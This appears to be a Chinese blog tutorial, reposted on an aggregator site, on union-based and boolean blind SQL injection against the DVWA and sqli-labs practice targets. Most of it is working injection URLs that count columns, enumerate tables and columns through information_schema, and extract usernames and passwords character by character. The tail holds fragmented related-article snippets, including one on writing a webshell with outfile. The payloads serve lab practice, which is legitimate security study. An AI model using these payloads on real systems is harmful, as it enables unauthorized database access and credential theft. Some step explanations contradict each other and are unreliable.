union(联合)注入和布尔注入

2023-11-16

没有很快乐,也没有不快乐,好像不该这样,但也只能这样,成长也许如此,行于奔溃边缘又慢慢自愈吧。。。

----  网易云热评

一、union联合注入

1、select 1,2,3会生成一张临时表,表中的字段为查询的字段,内容也是查询的字段

 

2、select 1,2,3 union select 3,2,1,同样生成一张临时表,表中的字段为union左边查询的字段,内容为union左右两边查询的字段!

 

3、如果不想显示左边的查询数据,只要左边的查询结果为假,就不会显示数据,比如:and 1=2或user_id=-1,这样只显示右边的查询数据!

联合查询,需要保证两表的列数相同和列的数据类型相同

 

4、判断列数:由于输入order by 3报错

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=1' order by 2 --

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=1' order by 3 -- 

5、判断显示位:显示位是1和2,可以用MySQL语句来代替获取信息!

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1' union select 1,2' -- &Submit=Submit#

 

6、获取数据库名称和版本信息

version():获取数据库版本号

database():获取数据库名称

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1' union select database(),version()' -- &Submit=Submit#

 

7、获取数据库中表的名字

获取第二个表名

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='dvwa' limit 1,1) -- &Submit=Submit#

 

8、获取所有的表名

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- &Submit=Submit#

limit 0,1:第一个表名,guestbook

limit 1,1:第二个表名,users

......

limit n,1:第n个表名,......

group_concat():连接所有表名

 

9、获取user表中的字段名

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1'  union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'  -- &Submit=Submit#

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1'  union select 1,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1) -- &Submit=Submit#

 

10、获取字段的内容

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1'  union select password,user from users limit 2,1 -- &Submit=Submit#

 

二、布尔注入

1、判断是否存在注入,输入’,报错说明存在注入

http://192.168.77.128/sqli/Less-8/?id=1

http://192.168.77.128/sqli/Less-8/?id=1' 报错,说明存在注入

 

2、判断字符注入还是数字注入

http://192.168.77.128/sqli/Less-8/?id=1 and 1=1%23

http://192.168.77.128/sqli/Less-8/?id=1 and 1=2%23 

都没有报错,说明是字符型

 

3、判断是否是存在布尔注入

http://192.168.77.128/sqli/Less-8/?id=1 and 1=1%23

http://192.168.77.128/sqli/Less-8/?id=1 and 1=2%23 

报错,说明存在布尔注入

 

4、id=1能正常显示信息,加入and语句后,只有同时满足条件才能正常显示,根据这个逻辑去确定最终的数据库长度

 

5、判断数据库名的长度

length():计算字符串长度

http://192.168.77.128/sqli/Less-8/?id=1' and length(database())=8%23 返回正常,说明该数据库名的长度为8

 

6、获取数据库名的每个字母

substr(database(),1,1):字符串的第1个字符,第一个1,起始位置,不是0开始,而是1开始;最后一个1,取字符的个数,1代表取1个字符

substr(database(),2,1):字符串的第2个字符

ascii():字符转换为对应的ASCII码值

ord() == ascii()

left:从左边开始取字符

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115 %23 115代表字符s

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr(database(),2,1))=101 %23 101代表字符e

http://192.168.77.128/sqli/Less-8/?id=1' and left(database(),2)='se' %23

最后确定数据的名字为security

 

7、获取表的名字

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 %23 

获取第一个表的第一个字符e

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 %23 

获取第一个表的第二个字符m

ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114 %23 

获取第二个表的第一个字符r

http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101 %23 

获取第二个表的第二个字符e

 

8、获取user表的字段

http://192.168.77.128/sqli/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^use' limit 0,1) %23 是否存在use开头的列

http://192.168.77.128/sqli/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1) %23 是否存在username开头的列

同样可以判断出password的列名

 

9、获取字段的内容

cast(username as char)将username转换成char类型,注意这里是cast函数(语法:cast(字段名 as 转换的类型 ))

ifnull(expr1,expr2)函数的语法为如果 expr1 不是null,ifnull() 返回 expr1,否则它返回 expr2。

0x20是空格的ascii码的十六进制表示。

mid()函数截取字符串一部分,mid(str,start,length)从位置start开始,截取str字符串的length位。

ord()函数同ascii(),将字符转为ascii值。

http://192.168.77.128/sqli/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68 %23  

获取username字段的第一个数据的第一个字符

http://192.168.77.128/sqli/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),2,1))=117 %23 

获取username字段的第一个数据的第一个字符

http://192.168.77.128/sqli/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 1,1),1,1))=65 %23 

获取username字段的第二个数据的第一个字符

http://192.168.77.128/sqli/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 1,1),2,1))=110 %23  

获取username字段的第二个数据的第二个字符

Angelina

 

禁止非法,后果自负

欢迎关注公众号:web安全工具库

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

union(联合)注入和布尔注入 的相关文章

  • LESS-23 LESS-25 LESS-25a

    LESS 23 源码 以此可知可以通过报错注入等方式 语法 mixed preg replace mixed pattern mixed replacement mixed subject int KaTeX parse error Exp
  • sqli-labs-master sql注入靶场(10、11、12)

    sqli labs master sql注入靶场 10 12 pass 10 首先 这题用sqlmap跑不出来 sqlmap提示我们这题是时间盲注 无论我们输入什么 不管对错页面都是You are in 我们用sleep函数来判断对错 如果
  • 基于Sqli-Labs靶场的SQL注入-54~65关

    目录 Less54 十步以内获取密钥 爆破数据库名 爆破表名 爆破列名 爆破字段值 Less55 十四步以内获取密钥 爆破数据库名 爆破表名 爆破列名 爆破字段值 Less56 十四步以内获取密钥 Less57 十四步以内获取密钥 Less
  • 【网络运维与安全岗位】月薪2.5w,您还不知道的前景!

    一 为什么学网络安全 标重点 1 市场巨大 每年各安全厂商收入高达400亿左右 随着5G的发展 万物互联时代 市场将进一步扩大 2 薪资高 网安人才的匮乏 用人开出招聘薪资往往高于求职者的预期 3 靠能力说话 在网络安全专业 专业技能竞争力
  • 如何进行网站性能优化?

    分享人 chenxingxing 目录 1 背景介绍 2 知识剖析 3 常见问题 4 解决方案 5 编码实战 6 扩展思考 7 参考文献 8 更多讨论 一 背景介绍 前端优化的目的 1 用户 体验好 2 服务商 节省资源 简而言之 就是在不
  • SQL注入-盲注(布尔盲注与时间盲注)

    目录 一 什么是盲注 二 盲注的分类 三 利用盲注的前提条件 四 盲注的优缺点 五 基于布尔类型的盲注 1 什么情况下使用布尔类型的盲注 2 使用布尔类型盲注的操作步骤 3 布尔类型盲注的操作过程 以获取当前数据库为例 4 使用其他函数进行
  • sql注入详解

    sql注入详解 SQLI介绍 SQLI sql injection 我们称之为sql注入 sql Structured Query Language 叫做结构化查询语句 在我们的应用系统使用 sql 语句进行管理应用数 据库时 往往采用拼接
  • 使用PhpStudy进行sqli-labs注入实验时,出现特殊符号被分斜杠“\”转义,导致注入失败

    在进行sqli labs注入时 特殊字符被转义的情况主要是PHP study工具中的设置问题 打开phpstudy工具所在的文件夹 需要更改其文件夹下的 PHP 文件夹中的php ini配置文件 将配置文件中的 magic quotes g
  • CTFHUB SQL注入——时间盲注 附自己写的脚本

    介绍 时间盲注和上一篇布尔盲注一样都是盲注 都需要借助length ascii substr这些神奇的函数来猜测各项信息 它们的差别是猜测成功的依据 布尔盲注的话如果查询有结果 一般会有一个success flag 比如在上一题里就会返回q
  • 利用SQL注入进行文件读写(详细步骤的实现+图)【靶场:sqli-labs/Less-7】

    原理啊 成因啊就不再啰嗦了 直接上实现过程 一 环境 攻击机 192 168 67 140 目标主机 192 168 67 143 二 实际操作 利用mysql的读写文件函数进行文件的读取 在目标主机的 win7 2 E盘下新建一个flag
  • 详解union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘ ‘--+

    此文章是记录本人对知识理解的随手笔记 内容不肯定百分百正确 如有错误望指出并谅解 1 group concat函数是将查询到的每行结果以某个字段名进行合并 每一行合并的结果以逗号分隔开 可以结合以下例子理解 下图是没使用group conc
  • SQL注入原理-数值型注入

    小伙伴们大家好 本期为大家带来的是SQL注入原理 数值型注入的讲解 目录 SQL注入原理 数值型注入 编辑 1 测试是否存在注入点 2 判断字段个数 3 找出可以回显的字段 4 查询数据库的信息 1 查看当前的数据库 2 查看当前数据库的用
  • sqli-labs-less-12 PODT传参+有回显信息(图文详解)

    Less 12 post传递参数 由于是post传参 我们先用burp suite抓包 分析报文体 获取传参过程 得到报文体之后使用hackbar插件中的post data进行注入实验 判断闭合方式 uname or 1 1 passwd
  • 堆叠注入原理解析

    文章目录 一 堆叠注入原理 二 堆叠注入触发条件 三 题目 一 堆叠注入原理 mysql数据库sql语句的默认结束符是以 结尾 在执行多条SQL语句时就要使用结束符隔开 那么在 结束一条sql语句后继续构造下一条语句 是否会一起执行 因此这
  • 应用布尔盲注来爆库(1)

    先上道练习题Less 8 打开sqli labs项目的练习题Less 8 http 192 168 3 2 sqli labs Less 8 然后输入id 1参数 可以得到以下信息 输入有效id 1时 只提示成功 You are in 没有
  • 基于Sqli-Labs靶场的SQL注入-29~31关

    目录 Less 29 基于GET 双服务器 单引号 字符型注入 双服务器解析 爆破数据库名 爆破表名 爆破列名 爆破字段值 Less 30 基于GET 双服务器 双引号 字符型注入 Less 31 基于GET 双服务器 双引号加括号 字符型
  • SQL注入原理-报错盲注

    小伙伴们大家好 本期为大家带来的内容是SQL注入原理之报错盲注 目录 为什么要使用报错盲注 常见的报错函数 updatexml 函数 extractvalue 函数 实战演示 1 检测是否存在注入点 2 执行报错语句爆出数据 1 爆出当前数
  • sqlmap脚本tamper使用

    很多时候还是得静下来分析过滤系统到底过滤了哪些参数 该如何绕过 sqlmap中的tamper给我们带来了很多防过滤的脚本 非常实用 可能有的朋友还不知道怎样才能最有效的利用tamper脚本 当然使用脚本之前需要确定的就是系统过滤了哪些关键字
  • sqlmap过SQLi-LABS靶场 11-20关

    第11关 后面基本都是post注入了 不过我们用的是神器sqlmap 我们先随便输入 然后bp抓包 把抓到的包保存问txt格式 然后在sqlmap 指定他 用 r sqlmap py r C Users Administrator Desk
  • sqli-labs-less-7 使用outfile函数写入一句话木马

    Less 7 一句话木马 判断注入点 127 0 0 1 sqli labs master Less 7 id 1 显示正常 提示 You are in Use outfile 127 0 0 1 sqli labs master Less

随机推荐

  • 手把手教你CIFAR数据集可视化

    CIFAR数据集介绍与获取 如同从小到的父母教我们识别每个物体是什么一样 除了看到的画面 父母会在旁边告诉看到的画面是什么 这种学习方式叫做监督学习 与此对应还有无监督学习 计算机也一样 数据集通常应该至少包含两部分内容 一个是图像 一个是
  • C语言:三目运算符 “?”号

    三目运算符的表示一般为 该运算符连接3个对象 是C语言中唯一一个三目运算符 又称条件运算符 它的一般形式如下 表达式a 表达式b 表达式c 其执行步骤如下 1 计算表达式a的值 2 如果表达式a的值为1 则执行表达式b 3 如果表达式b的值
  • 支付宝API支付使用文档--java《扫一扫支付》--demo但是封装高可用--改一改配置就拿走用!超详细!!有手就行!!!--spring +vue-调用支付宝的当面付的预创建接口

    支付宝API支付使用文档 java 扫一扫支付 demo但是封装高可用 改一改配置就拿走用 超详细 有手就行 上 修改官网配置类 一单成的博客 CSDN博客 阿丹 上一篇文章具体的描述和讲解了官方提供的配置类 以及如何使用注册开发沙箱 本篇
  • Linux系统图形界面,字符界面切换快捷键。启动图形界面服务。

    Ctrl Alt F3 启动字符界面 Ctrl Alt F7 启动图形界面 启动图形界面服务 cd etc init d service lightdm restart
  • 重装win8.1搜索不到 wifi

    这几天一直忙着研究装系统 毕竟自己是个小白 经常搞到深夜4点钟 今天终于算是有点眉目了 重新装完win8 1 电脑竟然搜索不到wifi 点开右下角那个图标 只有宽带连接这一个选项 于是到网上搜索 怎么解决 网上给了很多答案 基本都差不多 我
  • TCP/IP的三次握手、四次挥手

    本文通过图来梳理TCP IP协议相关知识 TCP通信过程包括三个步骤 建立TCP连接通道 传输数据 断开TCP连接通道 如图1所示 给出了TCP通信过程的示意图 上图主要包括三部分 建立连接 传输数据 断开连接 建立TCP连接很简单 通过三
  • Temporary failure in name resolution解决方法

    终端运行sudo su 输密码 vi etc reslov conf 输入i进入编辑模式 在文档末尾加入 nameserver 8 8 8 8 nameserver 114 114 114 114 按esc 输入 wq保存退出 执行 etc
  • 第八章 Oracle恢复内部原理(重置日志RESETLOGS)

    重置日志选项用于下列情形后的第一次打开数据库的时候 不完全恢复 基于备份控制文件的恢复 CREATE CONTROLFILE RESETLOGS 重置日志的最主要的作用就是丢弃不完全恢复中没有使用的重做日志并保证后续的恢复不再需要 为此 重
  • dll修复工具哪个比较好?修复工具介绍

    DLL 动态链接库 是Windows操作系统中非常重要的一部分 它们存储了各种软件应用程序所需的公共代码和数据 然而 随着时间的推移 电脑上的DLL文件可能会因为各种原因而损坏或丢失 导致系统出现错误 因此 修复DLL错误是一项非常重要的任
  • linux 下 C++ 与三菱PLC 通过MC Qna3E 二进制 协议进行交互

    西门子plc 有snap7库 进行交互 并且支持c 而且跨平台 但是三菱系列PLC并没有现成的开源项目 没办法只能自己拼接 我这里实现了MC 协议 Qna3E 帧 并使用二进制进行交互 pragma once include
  • HDU--1236:排名 (水题)

    1 题目源地址 http acm hdu edu cn showproblem php pid 1236 2 程序源代码 HOJ 1236 排名 include
  • 软件测试框架理论知识

    一 软件测试的定义 1 软件测试的目标应该服从于软件项目的目标 软件测试通过更高效的方法和工具 提高软件开发的效率和质量 2 在规定的条件下 对软件进行审核 运行 评估 验证软件系统是否满足需求规格说明书 3 预防 发现 跟踪软件缺陷 提高
  • Unity篇:加快unity导入工程速度-Cache server链接

    1 已有unity打开 编辑窗口选择点击edit edit下拉展示的列表里打开Preferences 2 选择Cache server界面 Cache server Mode 选择remote 举例 输入192 168 15 131或者19
  • 目标检测中的mAP(mean Average Precision)快速理解

    前言 最近开始接触目标检测 object detection 但是对于衡量算法好坏的mAP Mean Average Precision 并不太理解 经过了一番整理 下面我们就来看看什么是mAP 在目标检测算法中 像是Faster R CN
  • vue上下滑动(仿高德)

    效果图 需求 一个页面底部对应一块区域 底部的区域可以上下滑动到顶部 可以来回上下滑动延伸 如上所述 代码
  • C++实现行列式的相关操作

    目录 一 前言 二 行列式运算操作集 1 概览 2 行列式的定义 3 行列式的输出与输入 4 行列式行与行 列与列的相加 5 行列式的行交换与列交换 6 行列式的行提取公因数与列提取公因数 7 行列式系数清零恢复 8 判断一个行列式是否是三
  • 无须SMTP服务器中转直接将电子邮件发送到对方邮箱

    前言 大家一定熟悉Foxmail中的 特快专递 它能直接将电子邮件发送到对方的邮件服务器中 而不需要经过SMTP服务器中转 这样做有什么好处 第一 发送速度比较快 不需要等SMTP服务器对邮件进行查毒 派发 验证 第二 你可以及时掌握邮件是
  • Spring(一)之控制反转和依赖注入

    1 sts下载 https spring io tools3 sts all 参考博客 https blog csdn net m0 37920381 article details 79972438 2 简介 spring是一个开源框架
  • JQuery针对select下拉框的各项操作

    JQuery针对select下拉框的各项操作 select id change function code 为Select添加事件 当选择其中一项时触发 var checkText select id find option selecte
  • union(联合)注入和布尔注入

    没有很快乐 也没有不快乐 好像不该这样 但也只能这样 成长也许如此 行于奔溃边缘又慢慢自愈吧 网易云热评 一 union联合注入 1 select 1 2 3会生成一张临时表 表中的字段为查询的字段 内容也是查询的字段 2 select 1